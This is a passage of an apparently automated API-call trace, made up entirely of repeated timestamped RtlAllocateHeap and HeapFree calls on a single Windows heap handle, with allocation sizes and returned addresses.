(HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.160] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.160] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.161] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.161] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.162] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.162] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.163] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.163] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.164] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.164] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.165] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.165] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.166] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.167] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.168] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0118.168] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.168] HeapFree (in: hHeap=0xd10000, 